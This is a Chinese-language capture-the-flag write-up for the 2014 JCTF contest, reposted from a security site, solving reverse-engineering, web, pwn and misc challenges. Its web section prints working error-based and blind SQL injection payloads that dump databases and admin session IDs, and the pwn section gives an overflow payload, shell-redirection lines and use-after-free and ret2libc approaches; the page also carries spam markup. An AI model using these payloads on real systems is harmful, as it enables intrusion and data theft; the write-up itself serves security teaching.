<pre id="vvttv"><mark id="vvttv"><progress id="vvttv"></progress></mark></pre>
    <pre id="vvttv"></pre>

      <p id="vvttv"></p>

          <p id="vvttv"></p>

                <p id="vvttv"></p>

                <pre id="vvttv"><cite id="vvttv"><progress id="vvttv"></progress></cite></pre>

                  <output id="vvttv"><dfn id="vvttv"><th id="vvttv"></th></dfn></output>

                    <p id="vvttv"></p>

                    原文地址:http://drops.wooyun.org/tips/3131

                    SJTU 0ops - September 11, 2014

                    賽題源代碼:JCTF源碼.zip

                    RE


                    RE100

                    扔給dex2jar+jdgui,在MainActivity里看到

                    NzU2ZDJmYzg0ZDA3YTM1NmM4ZjY4ZjcxZmU3NmUxODk=
                    

                    Base64解碼為

                    756d2fc84d07a356c8f68f71fe76e189
                    

                    百度一下,你就知道:

                    2fc84d07a356c8f68f71fe76e189 是多少,有沒有人知道 ?我覺得是}321nimda{galflj 大家覺得呢

                    反過來就是flag

                    RE200

                    首先需要修復PE頭,從MS Dos Header指向PE header的偏移應該是0xE8,此外PE header 頭部的magic number 從"PE\FF\0"改成"PE\0\0",完成修復 其次分析程序,程序輸?入9個數,但是只需要前面三個數進行一個運算,滿足相關條件,中間三個數為80 94 98,最后三個數無關,然后打印出flag只取前面三個數

                    #!c
                    #include <stdio.h>
                    int main( int argc, char *argv[] )
                    {
                        for ( size_t i = 0; i < 0x100000; ++i )
                        {
                            for ( size_t j = 0; j < 0x100000; ++j )
                            {
                                size_t k = (i ^ j) + 4;
                                if ( i * j * k / 0xb == 0x6a && (i + j + k) % 100 == 0x22 )
                                {
                                    printf( "%d %d %d\n", i, j, k );
                                    // return 1;
                                }
                            }
                        }
                        return(0);
                    }
                    

                    ??有多解,然后程序中還有一個限制條件檢查,邏輯?比較繁瑣,我們直接測試了多個解發現 15 6 13這一組是正確解

                    flag為

                    jlflag{15613abc}
                    

                    RE300

                    程序非常可愛的去檢查IsDebugPresent,如果存在Debug才會執行,所以需要用?隱藏版的調試器執行或者手工patch。程序接下來會讀取keyfile,讀取出來的內容用strol函數(16進制編碼)轉換成特定的值和 0x19310918 異或,得到的值符合程序中固定的值即可,但是這個題目明顯的存在多解,因為strol可以接受各種格式的輸入,例如0xFFFFFFFFFFFFFFFF都是轉換成統一的值,另外還有前面插入多余的空格等等。

                    最后正確的flag應該是

                    0x181f0d1f
                    

                    RE400

                    是一道自修改代碼的題目,會把0x00422000上的代碼做一個運算然后去執行! 簡單的寫了一個搜索程序,特征是要求搜索出來最后一個字節是0xc3也就是retn!

                    #!c
                    #include <stdio.h>
                    unsigned char t( unsigned short c, size_t num )
                    {
                        unsigned int result = 1;
                        for ( size_t i = 0; i < num; ++i )
                        {
                            result = c * result % 0x5ED;
                        }
                        return(result & 0xFF);
                    }
                    
                    
                    unsigned short Table[] =
                    {
                        0x00F9, 0x02C3, 0x034B, 0x0149, 0x04E7, 0x02C3, 0x012E, 0x0570, 0x0543, 0x0001, 0x02C3, 0x059C, 0x018C, 0x02BF, 0x054E, 0x0009, 0x0009, 0x0543, 0x0000, 0x056E, 0x008B, 0x055B, 0x018C, 0x0234, 0x05D9, 0x0009, 0x0009, 0x0395, 0x01A6, 0x0570, 0x0000, 0x0000, 0x0000, 0x0000, 0x046B, 0x0294, 0x0102, 0x044E, 0x0000, 0x046B, 0x0499, 0x027D, 0x0382, 0x05B6, 0x046B, 0x01FE, 0x01FE, 0x050D, 0x0390, 0x046B, 0x0471, 0x037F, 0x02CA, 0x0499, 0x046B, 0x027D, 0x033C, 0x0453, 0x01A9, 0x046B, 0x0543, 0x043D, 0x0073, 0x043D, 0x05D2, 0x02CA, 0x0570, 0x02C3, 0x012E, 0x0570, 0x0417, 0x045D, 0x0417, 0x005F, 0x0417, 0x00A1, 0x00FC, 0x0563, 0x012E, 0x005F, 0x0552,   0x012F, 0x01F7, 0x03C7, 0x0417, 0x0481, 0x0001, 0x0417, 0x02B2, 0x0001, 0x0417, 0x00A1, 0x00FC, 0x0563, 0x012E, 0x0223, 0x03FF, 0x0035, 0x0262, 0x03FF, 0x033F, 0x0262, 0x0552, 0x012F, 0x012E, 0x0469, 0x01FE, 0x0035, 0x0036, 0x0491, 0x0564, 0x0035, 0x03FF, 0x01B6, 0x0009, 0x0108, 0x0035, 0x012E, 0x0330, 0x0481, ??0x046B, 0x05B0, 0x0000, 0x031E, 0x0000, 0x046B, 0x0035, 0x0035, 0x00EC, 0x0000, 0x0481, 0x0009, 0x03E0, 0x04A8, 0x01FE, 0x00EC, 0x0000, 0x03FF, 0x0168, 0x03FB, 0x02B2, 0x0032, 0x01DF, 0x01B1
                    };
                    unsigned char TableNew[0x90]; int main( int argc, char *argv[] )
                    {
                        for ( size_t input = 0; input < 0x100; ++input )
                        {
                            for ( size_t i = 0; i < 0x90; ++i )
                            {
                                TableNew[i] = t( Table[i], input );
                            }
                            if ( TableNew[0x90 - 1] == 0xc3 )
                            {
                                for ( size_t i = 0; i < 0x90; ++i )
                                    printf( "%02x ", TableNew[i] );
                                printf( "\n---%d---\n", input );
                            }
                        }
                        return(0);
                    }
                    

                    搜索出來以后,發現當input取233的時候,解出來的第一個字節0x55符合push ebp特征, 所以選擇它,然后解出來的代碼中有硬編碼的

                    jlflag{L04e_3389_admin}
                    

                    RE500

                    首先發現是梆梆加固的apk,利用百度研究員開發的ZJDroid進行脫殼,得到一個dex文件,發現里面去exec了?個findstr的native code,于是逆向分析該binary,該binary接受的是輸入字符串的逆序,然后將輸入字符串做了兩個變換A和B,再和binary內部一固定字符串做兩個變換C和 D之后進行比較。C和D變換比較復雜,但是我們使?用了IDA動態調試直接拿到了固定字符 串做完C和D變換后的值,無視逆向,然后寫出代碼hEll0_Arm_W0rld

                    #!c
                    #include <stdio.h>
                    int main( int argc, char *argv[] )
                    {
                        char    str[]       = "+nv|ai|KivO:w:vr";
                        char    new_str[]   = "+nv|ai|KivO:w:vr"; new_str[5] = str[4];
                        new_str[6]  = str[5];
                        new_str[8]  = str[6];
                        new_str[9]  = str[7];
                        ??new_str[10]   = str[8]; new_str[13] = str[9]; new_str[14] = str[10]; new_str[4] = str[11]; new_str[7] = str[12]; new_str[11] = str[13]; new_str[12] = str[14];
                        for ( size_t i = 0; i < 16; ++i )
                        {
                            new_str[i] -= 10;
                        }
                        for ( size_t i = 0; i < 16; ++i )
                        {
                            str[15 - i] = new_str[i];
                        }
                        puts( str );
                        return(0);
                    }
                    

                    WEB


                    WEB100

                    根據header中vim提示,網站上可能存在vim編輯時剩下的臨時?件,也就是.index.html.swp

                    網上找個dvorak鍵盤圖片

                    enter image description here

                    [行,列] 一個一個字符解就是了,比如

                    [4,4] = j
                    [2,11] = l
                    

                    之后出現的 [4,1,x,x] 是 Shift + [x,x]

                    ??WEB200

                    在登陸頁查看網頁源碼發現

                    <!--I'm lazy, so I save password into a file named password.key -->
                    

                    下載password.key文件,打開里面為一段加密后的javascript代碼,直接在控制臺執行得到 :

                    Password: xssbbs
                    

                    任意用戶名+xssbbs做密碼即可登陸,但唯獨不能用admin登陸。

                    登陸后發現能發表評論,根據題目中xss提示發現存在xss漏洞。但是只能x自己的xss不是好 xss。用單引號測試提交字段,發現存在SQL注入漏洞。

                    因為發表評論,此處應為insert類型的注入,利?MySQL的報錯性質。

                    得到數據庫:

                    title=s' or updatexml(0,concat(0x7e,(SELECT group_concat(schema_name) FROM information_schema.schemata )),0) or '&content=s
                    

                    發現有information_schema,kaer兩個數據庫

                    得到kaer的表名

                    title=s' or updatexml(0,concat(0x7e,(SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema=database())),0) or '&content=s
                    

                    有comment,user兩個表

                    查找user表的列名

                    title=s' or updatexml(0,concat(0x7e,(SELECT group_concat(column_name) FROM information_schema.columns WHERE table_schema=database() and table_name='user')), 0) or '&content=s
                    

                    user表有id,username,session_id三個列

                    直接查session_id

                    title=title=s' or updatexml(0,(SELECT group_concat(id,0x7e,session_id) FROM user),0) or '&content=s
                    

                    得到admin的session_id為MTM5OTYyNzY1Mg==將?己的session改成admin的session,登陸進去后發現啥都沒有。

                    繼續注?入:

                    title=s' or updatexml(0,substring(concat(0x7e,(SELECT group_concat(username) FROM user)),30),0) or '&content=s
                    

                    得到

                    jlflag{1_d0nt_11k3_5q1m4p}
                    

                    WEB300

                    提交?password=flag到達驗證碼識別的界面。

                    注意控制User-Agent和Referer,偽裝成正常請求。

                    利用分布式?肉驗證碼識別系統完成。

                    WEB400

                    注意到http://121.40.150.205/web400/?page=index這種格式,可能有文件包含。

                    嘗試http://121.40.150.205/web400/index能下載得到index文件。

                    查看登陸頁面源碼http://121.40.150.205/web400/?page=test

                    得到提?

                    <!--action="./index.php?page=login" -->
                    

                    訪問http://121.40.150.205/web400/login得到登陸源碼

                    其中進?了一個正則檢查只允許字母數字和下劃線

                    if (!preg_match('/^\w*$/m', $user) || !preg_match('/^\w*$/m', $pwd))
                    

                    可用%0a繞過!

                    過濾了空格,可用/**/繞過

                    另外根據提示:

                    Humans shall pass, but bots will FAIL.
                    

                    發現表單的提交地址、name、pwd等都在變,與session有關,因此可以用腳本提取這些變的字段。

                    另外需要修改user-agent為正常瀏覽器的user-agent。這樣可以寫腳本進行中轉注入。

                    提交內容舉例如下:

                    o5dgNIiZMEySbuCcs3r7=t%0a%27%2F**%2For%2F** %2F1%3D1%23&7PA3h66arJomMvZjEOW8=ss
                    

                    由于頁面沒有回顯信息,經過中轉之后注入類型為最基本的盲注,正確顯?示“This is a test account.”。

                    最后從user表?里得到flag。jlflag{a1y0u_bucu0_zh3g3d1a0}

                    PWN


                    PWN100

                    連上服務器,輸入以下命令即可獲得交互式

                    sh<&4
                    bash >&4 2>&4
                    

                    PWN200

                    修改名字的那個地?是在前一次名字的后面再添加新名字的,這里有緩沖區溢出,把后面一些特定的地方改成特定的值就會進入輸出flag的分支

                    Payload = ‘1\n’ + ‘l’*1023 + ‘\n’ + ‘3\n’ + ‘h’*6 + ‘1\x00\x00\x60’ + ‘\n’
                    

                    PWN300

                    Do you want to get the flag?

                    ??回答yes,在接下來一個問題讀入答案的時候會把buffer的長度+1,有off by 1,正好可以把 buffer后面表示長度的變量改大(改成0xff),再次讀入的時候就可以棧溢出,這題沒開 NX,可以先用read往固定地址讀入shellcode然后再跳轉到shellcode去執?

                    PWN400

                    在一條message后面加滿256條回復就可以將其刪除,但是懸空指針還在,再次對其 modify,新輸入的content如果長度與剛才被free的結構體大小一樣的話就會被分配在同?地址上,這里就可以用字符串的內容填充結構體,再進行一次modify就可以use-after- free,直接調用system(‘/bin/sh’)即可

                    PWN500

                    程序與pwn300幾乎?模?樣,差別只在于開了NX,那就直接return到libc中的system去執 行system(‘/bin/sh’)即可

                    MISC


                    MISC100

                    解壓apk文件(當作zip),然后在/res/raw/hehe里可以找到flag!

                    ctf{adkankjasnfmasncmansddfmnasm}!
                    

                    MISC200

                    扔給dex2jar+jdgui,在Broadcast Receiver onReceive函數里:

                    String str = new StringBuilder(String.valueOf(new StringBuilder(String.valueOf(new StringBuilder(String.valueOf(new StringBuilder(String.valueOf(new StringBuilder(String.valueOf(new StringBuilder(String.valueOf(new StringBuilder(String.valueOf("")).append('_').toString())).append('p').toString())).append('i').toString())).append('p').toString())).append('Y').toString())).append('u').toString())).append('N').toString() + 'Y';
                    

                    答案顯而易見。

                    MISC300

                    密文是弗吉尼亞密碼加密,密鑰為12, 11, 8, 13, 25, 14,對密文中的英文字母循環使?密鑰為偏移進行移位即可解開明文,?面有如下字符串

                    Here is yor flag:jlflag{I_Kn0w_n0thing}
                    

                    ?MISC400

                    從data中可以找到curl請求?盤地址,由此下載pcap。

                    根據http://blog.flanker017.me/actf-misc300%E5%AE%98%E6%96%B9writeup/類似思路找到adb流量中的圖?片,得到 flag。

                    MISC500

                    把原圖每一個像素的rgb值提取出來,把所有綠色值的最低位提取出來,就是一個頭破損的bmp圖片,修復頭就能顯示flag

                      <pre id="vvttv"><mark id="vvttv"><progress id="vvttv"></progress></mark></pre>
                      <pre id="vvttv"></pre>

                        <p id="vvttv"></p>

                            <p id="vvttv"></p>

                                  <p id="vvttv"></p>

                                  <pre id="vvttv"><cite id="vvttv"><progress id="vvttv"></progress></cite></pre>

                                    <output id="vvttv"><dfn id="vvttv"><th id="vvttv"></th></dfn></output>

                                      <p id="vvttv"></p>

                                      这里只有精品视频